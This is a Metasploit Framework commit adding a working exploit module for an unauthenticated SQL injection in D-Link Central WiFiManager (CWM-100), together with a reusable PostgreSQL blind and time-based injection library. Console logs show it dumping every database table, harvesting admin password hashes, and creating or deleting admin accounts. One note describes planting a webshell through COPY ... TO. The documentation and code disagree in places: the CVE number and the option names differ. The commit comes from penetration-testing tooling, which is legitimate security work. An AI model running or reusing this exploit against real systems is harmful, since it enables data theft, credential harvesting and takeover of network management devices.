Land #14067, [GSoC] Module for CVE-2019-13375, and PostgreSQL support for the library

This commit is contained in:
Jeffrey Martin 2021-02-14 12:11:09 -06:00
commit dbce3982fd
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
7 changed files with 859 additions and 0 deletions

View File

@ -0,0 +1,180 @@
## Vulnerable Application
This module exploits a vulnerability in Dlink Central
WifiManager (CWM-100), found in versions lower than
v1.03R0100_BETA6, allowing unauthenticated users to
execute arbitary SQL queries.
This module has 3 actions:
| Action | Description |
| ------------- | -------------------------- |
| SQLI_DUMP | Data retrieval* |
| ADD_ADMIN | Creation of an admin user |
| REMOVE_ADMIN | Removal of an admin user |
\* : each table is saved in the loot directory in CSV format, credentials (password hashes) are saved as
creds for future cracking.
Has been tested with 1.03r098.
## Verification Steps
1. Download the vulnerable software, and install it
- Run the vulnerable software, downloadable from
[here](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117).
- direct download link:
`ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip
2. Reproduction steps
- Run `msfconsole`
- set rhosts ...
- set action ...
- `check` or `exploit`
- should work as in the scenarios below
## Actions
```
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
ADD_ADMIN Add an administrator user
REMOVE_ADMIN Remove a user
SQLI_DUMP Retrieve all the data from the database
```
## Options
```
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options
Module options (auxiliary/sqli/dlink/dlink_central_wifimanager_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Admin_Password anything no The password of the user to add/edit
Admin_Username red0xff no The username of the user to add/remove
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.223 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to DLink CWM-100
VHOST no HTTP server virtual host
```
## Scenarios
This module has both `check` and `run` functions.
### Retrieving all the data from the database
```
msf5 > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP
action => SQLI_DUMP
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223
rhosts => 192.168.1.223
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check
[+] 192.168.1.223:443 - The target is vulnerable.
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
[*] Running module against 192.168.1.223
[+] Target seems vulnerable
[+] DBMS version: PostgreSQL 9.1.0, compiled by Visual C++ build 1500, 32-bit
[*] Enumerating tables
[+] grouptossltable saved to /home/redouane/.msf4/loot/20200828180148_default_192.168.1.223_dlink.http_187571.csv
[+] paypalsettingtable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_642251.csv
[+] ordertable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_944954.csv
...
[+] tempstationtable saved to /home/redouane/.msf4/loot/20200828180505_default_192.168.1.223_dlink.http_577215.csv
[+] Saved credentials for admin
[+] Saved credentials for red0xff
[+] usertable saved to /home/redouane/.msf4/loot/20200828180153_default_192.168.1.223_dlink.http_608945.csv
...
[+] devicesnmpsecuritytable saved to /home/redouane/.msf4/loot/20200828180154_default_192.168.1.223_dlink.http_825556.csv
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.1.223 admin 21232f297a57a5a743894a0e4a801fc3 Nonreplayable hash raw-md5
192.168.1.223 red0xff f0e166dc34d14d6c228ffac576c9a43c Nonreplayable hash raw-md5
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.223 dlink.http biggrouptable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_360290.csv
192.168.1.223 dlink.http devicetable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_230830.csv
...
ult_192.168.1.223_dlink.http_878195.csv
192.168.1.223 dlink.http devicesnmpsecuritytable.csv application/csv /home/redouane/.msf4/loot/20200828180506_default_192.168.1.223_dlink.http_086271.csv
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
```
### Adding an admin user/changing the password of a user
```
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN
action => ADD_ADMIN
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin
Admin_Username => msfadmin
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin
Admin_Password => msfadmin
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
[*] Running module against 192.168.1.223
[+] Target seems vulnerable
[*] User not found on the target, inserting
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword
Admin_Password => msfpassword
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
[*] Running module against 192.168.1.223
[*] Trying to detect installed version
[+] Target seems vulnerable
[*] User already exists, updating the password
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
```
### Deleting an administrator user
```
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN
action => REMOVE_USER
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff
Admin_Username => red0xff
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
[*] Running module against 192.168.1.223
[+] Target seems vulnerable
[*] Auxiliary module execution completed
```
### Going further
It is possible to upload arbitary files to the target system using queries of the form
(copy ... to ...), but using full paths, the attacker must know the path of the webroot
to upload a webshell this way.

View File

@ -0,0 +1,9 @@
#
# PostgreSQL injection
#
module Msf::Exploit::SQLi::PostgreSQLi
end
require 'msf/core/exploit/sqli/postgresqli/common'
require 'msf/core/exploit/sqli/postgresqli/boolean_based_blind'
require 'msf/core/exploit/sqli/postgresqli/time_based_blind'

View File

@ -0,0 +1,18 @@
#
# Boolean-Based Blind SQL injection support for PostgreSQL
#
class Msf::Exploit::SQLi::PostgreSQLi::BooleanBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
# the values returned by the bloc for some boolean queries are correct.
# @return [Boolean] Whether the check determined that boolean-based blind SQL injection works
#
def test_vulnerable
out_true = blind_request('1=1')
out_false = blind_request('1=2')
out_true && !out_false
end
end

View File

@ -0,0 +1,325 @@
require 'base64'
#
# This class represents a PostgreSQL Injection object, its primary purpose is to provide the common SQL queries
# needed when performing SQL injection.
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
#
module Msf::Exploit::SQLi::PostgreSQLi
class Common < Msf::Exploit::SQLi::Common
#
# Encoders supported by PostgreSQL
# Keys are function names, values are decoding procs in Ruby
#
ENCODERS = {
base64: {
encode: 'encode(^DATA^::bytea, \'base64\')',
decode: proc { |data| Base64.decode64(data) }
},
hex: {
encode: 'encode(^DATA^::bytea, \'hex\')',
decode: proc { |data| Rex::Text.hex_to_raw(data) }
}
}.freeze
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
#
# See SQLi::Common#initialize
#
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
# if it's a String or a Symbol, use a predefined encoder if it exists
opts[:encoder] = opts[:encoder].downcase.intern
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
end
opts[:concat_separator] ||= ','
super
end
#
# Query the PostgreSQL version
# @return [String] The PostgreSQL version in use
#
def version
call_function('version()')
end
#
# Query the current database name
# @return [String] The name of the current database
#
def current_database
call_function('current_database()')
end
#
# Query the current user
# @return [String] The username of the current user
#
def current_user
call_function('getpgusername()')
end
#
# Query the names of all the existing databases
# @return [Array] An array of Strings, the database names
#
def enum_database_names
dump_table_fields('pg_database', %w[datname]).flatten
end
#
# Query the names of the tables in a given database
# @param database [String] the name of a database, or a function call, defaults to public
# @return [Array] An array of Strings, the table names in the given database
#
def enum_table_names(database = 'public')
dump_table_fields('information_schema.tables', %w[table_name],
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end
#
# Query the names of the views in the given database
# @param database [String] The name of a database, or a function call, defaults to public
# @return [Array] An array of Strings, the view names in the given database
#
def enum_view_names(database = 'public')
dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end
#
# Query the PostgreSQL users (their username and password), this might require elevated privileges.
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and hashed password
#
def enum_dbms_users
# might require elevated privileges
dump_table_fields('pg_shadow', %w[usename passwd])
end
#
# Query the column names of the given table in the given database
# @param table_name [String] the name of the table of which you want to query the column names
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
#
def enum_table_columns(table_name)
if table_name.include?('.')
database, table_name = table_name.split('.')
else
database = 'public' # or current_database() ?
end
dump_table_fields('information_schema.columns', %w[column_name],
"table_name='#{table_name}' and " \
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end
#
# Query the given columns of the records of the given table, that satisfy an optional condition
# @param table [String] The name of the table to query
# @param columns [Array] The names of the columns to query
# @param condition [String] An optional condition, return only the rows satisfying it
# @param limit [Integer] An optional maximum number of results to return
# @return [Array] An array, where each element is an array of strings representing a row of the results
#
def dump_table_fields(table, columns, condition = '', num_limit = 0)
return '' if columns.empty?
one_column = columns.length == 1
if one_column
columns = "coalesce(#{columns.first}::text,'#{@null_replacement}')"
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
else
columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
col = "coalesce(#{col}::text,'#{@null_replacement}')"
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
end.join(',') + ')'
end
unless condition.empty?
condition = ' where ' + condition
end
num_limit = num_limit.to_i
limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
retrieved_data = nil
if @safe
# no group_concat, leak one row at a time
row_count = run_sql("select count(1)::text from #{table}#{condition}").to_i
num_limit = row_count if num_limit == 0 || row_count < num_limit
retrieved_data = num_limit.times.map do |current_row|
if @truncation_length
truncated_query("select substr(#{columns}::text,^OFFSET^,#{@truncation_length}) from " \
"#{table}#{condition} limit 1 offset #{current_row}")
else
run_sql("select #{columns}::text from #{table}#{condition} limit 1 offset #{current_row}")
end
end
else
# if limit > 0, an alias will be necessary
if num_limit > 0
alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
if @truncation_length
retrieved_data = truncated_query('select substr(string_agg(' \
"#{alias1}, '#{@concat_separator}'),"\
"^OFFSET^,#{@truncation_length}) from (select #{columns}::text #{alias1} from #{table}"\
"#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select string_agg(#{alias1}, '#{@concat_separator}')"\
" from (select #{columns}::text #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
end
else
if @truncation_length
retrieved_data = truncated_query('select substr(string_agg(' \
"#{columns}::text, '#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select string_agg(#{columns}::text, '#{@concat_separator}')" \
" from #{table}#{condition}#{limit}").split(@concat_separator || ',')
end
end
end
retrieved_data.map do |row|
row = row.split(@second_concat_separator)
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
end
end
#
# Checks if the SQL injection is working, by checking that
# queries that should return known results return the results we expect from them
# @return [Boolean] Whether the check determined that the injection works
#
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
run_sql("select '#{random_string}'") == random_string
end
#
# Writes data to a file on the target system
# @param fname [String] The full-path to the file where data will be written
# @param data [String] The data to write
# @return [void]
#
def write_to_file(fname, data)
raw_run_sql("copy (select '#{data}') to '#{fname}'")
end
private
#
# Helper method used in cases where the response is truncated.
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
# @return [String] The query result
#
def truncated_query(query)
result = [ ]
offset = 1
loop do
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
offset += @truncation_length # should be same as @truncation_length for most cases
result << slice
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
break if slice.length < @truncation_length
end
result.join
end
#
# Checks the options specific to PostgreSQL
# @return [void]
#
def check_opts(opts)
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
raise ArgumentError, 'Unsupported encoder'
end
super
end
#
# Returns the output of a PostgreSQL function call
# @param function [String] The function call, function_name(arguments...)
# @return [String] What the function call returns
#
def call_function(function)
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
output = nil
if @truncation_length
output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
else
output = run_sql("select #{function}")
end
output = @encoder[:decode].call(output) if @encoder
output
end
#
# Returns the length of the data that query should return, this is used in blind SQL injections
# @param query [String] The SQL query to execute
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
# @return [Integer] The length of the data that query should return
#
def blind_detect_length(query, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = '1=(case when ' + if_function
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
end
i = 0
output_length = 0
loop do
output_bit = blind_request("#{if_function}length((#{query})::bytea)&#{1 << i}<>0#{sleep_part}")
output_length |= (1 << i) if output_bit
i += 1
stop = blind_request("#{if_function}length((#{query})::bytea)/#{1 << i}=0#{sleep_part}")
break if stop
end
output_length
end
#
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
# @param query [String] The SQL query the user wants to execute
# @param length [Integer] The expected length of the output of the result of the SQL query
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
# @return [String] The query result
#
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = '1=(case when ' + if_function
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
end
output = length.times.map do |j|
current_character = known_bits
bits_to_guess.times do |k|
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
output_bit = blind_request("#{if_function}get_bit((#{query})::bytea, #{j * 8 + k})<>0#{sleep_part}")
current_character |= (1 << k) if output_bit
end
current_character.chr
end.join
output
end
#
# Encodes strings in the query string as hexadecimal numbers
# @param query [String] an SQL query
# @return [String] The input query, where strings are replaced by hex sequences
#
def hex_encode_strings(query)
# for more encoding capabilities, run code at the beginning of your block
# known issue: escaped quotes, \', detected as being string terminators
query.gsub(/'[^']*?'/) do |match|
if match.length == 2
%w[left right].sample + "(chr(#{rand(1..255)}),0)"
else
match[1..-2].each_codepoint.map { |c| "chr(#{c})" }.join('||')
end
end
end
end
end

View File

@ -0,0 +1,18 @@
#
# Time-Based Blind SQL injection support for PostgreSQL
#
class Msf::Exploit::SQLi::PostgreSQLi::TimeBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
include Msf::Exploit::SQLi::TimeBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind time-based injection by checking if
# the target sleeps only when a given condition is true, and doesn't when it's false.
# @return [Boolean] Whether the check confirmed that the time-based SQL injection works
#
def test_vulnerable
out_true = blind_request("1=(case when 1=1 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
out_false = blind_request("1=(case when 1=2 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
out_true && !out_false
end
end

View File

@ -0,0 +1,184 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'csv'
require 'digest'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFiManager SQL injection',
'Description' => %q{
This module exploits a SQLi vulnerability found in
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
vulnerability is an exposed API endpoint that allows the execution
of SQL queries without authentication, using this vulnerability, it's
possible to retrieve usernames and password hashes of registered users,
device configuration, and other data, it's also possible to add users,
or edit database informations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'M3@ZionLab from DBAppSecurity',
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'References' =>
[
['CVE', '2019-13373'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
],
'Actions' =>
[
[ 'SQLI_DUMP', 'Description' => 'Retrieve all the data from the database' ],
[ 'ADD_ADMIN', 'Description' => 'Add an administrator user' ],
[ 'REMOVE_ADMIN', 'Description' => 'Remove an administrator user' ]
],
'DefaultOptions' => { 'SSL' => true },
'DefaultAction' => 'SQLI_DUMP',
'DisclosureDate' => 'Jul 06 2019'
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
]
)
end
def vulnerable_request(payload)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
'vars_post' => {
'dbAction' => 'S',
'dbSQL' => payload
}
)
end
def check
check_error = nil
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
if res
check_error = Exploit::CheckCode::Safe
else
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
end
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
end
end
vulnerable_test = sqli.test_vulnerable
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
end
def dump_data(sqli)
print_good "DBMS version: #{sqli.version}"
table_names = sqli.enum_table_names
print_status 'Enumerating tables'
table_names.each do |table_name|
cols = sqli.enum_table_columns(table_name)
vprint_good "#{table_name}(#{cols.join(',')})"
# retrieve the data from the table
content = sqli.dump_table_fields(table_name, cols)
# store hashes as credentials
if table_name == 'usertable'
user_ind = cols.index('username')
pass_ind = cols.index('userpassword')
content.each do |entry|
create_credential(
{
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entry[user_ind],
private_data: entry[pass_ind],
jtr_format: 'raw-md5',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
)
print_good "Saved credentials for #{entry[user_ind]}"
end
end
path = store_loot(
'dlink.http',
'application/csv',
rhost,
cols.to_csv + content.map(&:to_csv).join,
"#{table_name}.csv"
)
print_good "#{table_name} saved to #{path}"
end
end
def check_admin_username
if datastore['USERNAME'].nil?
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
end
end
def add_user(sqli)
check_admin_username
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
# check if user exists, if yes, just change his password
if sqli.run_sql(user_exists_sql).to_i == 0
print_status 'User not found on the target, inserting'
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
else
print_status 'User already exists, updating the password'
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
"username='#{datastore['USERNAME']}'")
end
end
def remove_user(sqli)
check_admin_username
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems vulnerable'
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
end
end
case action.name
when 'SQLI_DUMP'
dump_data(sqli)
when 'ADD_ADMIN'
add_user(sqli)
when 'REMOVE_ADMIN'
remove_user(sqli)
else
fail_with(Failure::BadConfig, "#{action.name} not defined")
end
end
end

View File

@ -0,0 +1,125 @@
# frozen_string_literal: true
require 'socket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PostgreSQL injection testing module',
'Description' => '
This module tests the SQL injection library against the PostgreSQL database management system
',
'Author' =>
[
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>'
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'References' =>
['URL', 'https://github.com/red0xff/sqli_vulnerable/tree/main/postgresql'],
'Targets' => [['Wildcard Target', {}]],
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RHOST('127.0.0.1'),
OptInt.new('RPORT', [true, 'The target port', 1337]),
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptInt.new('SQLI_TYPE', [true, '0)Regular. 1) BooleanBlind. 2)TimeBlind', 0]),
OptBool.new('SAFE', [false, 'Use safe mode', false]),
OptString.new('ENCODER', [false, 'an encoder to use (hex for example)', '']),
OptBool.new('HEX_ENCODE_STRINGS', [false, 'Replace strings in the query with hex numbers?', false]),
OptInt.new('TRUNCATION_LENGTH', [true, 'Test SQLi with truncated output (0 or negative to disable)', 0])
]
)
end
def boolean_blind
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
sqli = create_sqli(dbms: PostgreSQLi::BooleanBasedBlind, opts: {
encoder: encoder,
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
}) do |payload|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
sock.puts('0 or ' + payload + ' --')
res = sock.gets.chomp
sock.close
res && !res.include?('No results')
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def reflected
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
truncation = datastore['TRUNCATION_LENGTH'] <= 0 ? nil : datastore['TRUNCATION_LENGTH']
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: {
encoder: encoder,
hex_encode_strings: datastore['HEX_ENCODE_STRINGS'],
truncation_length: truncation,
safe: datastore['SAFE']
}) do |payload|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
sock.puts('0 union ' + payload + ' --')
res = sock.gets.chomp
sock.close
res
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def time_blind
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
sqli = create_sqli(dbms: PostgreSQLi::TimeBasedBlind, opts: {
encoder: encoder,
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
}) do |payload|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
sock.puts('0 or ' + payload + ' --')
sock.gets
sock.close
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def perform_sqli(sqli)
print_good "dbms: #{sqli.version}"
tables = sqli.enum_table_names
print_good "tables: #{tables.join(', ')}"
tables.each do |table|
columns = sqli.enum_table_columns(table)
print_good "#{table}(#{columns.join(', ')})"
content = sqli.dump_table_fields(table, columns)
content.each do |row|
print_good "\t" + row.join(', ')
end
end
end
def run
case datastore['SQLI_TYPE']
when 0
reflected
when 1
boolean_blind
when 2
time_blind
else
print_bad('Unsupported SQLI_TYPE')
end
end
end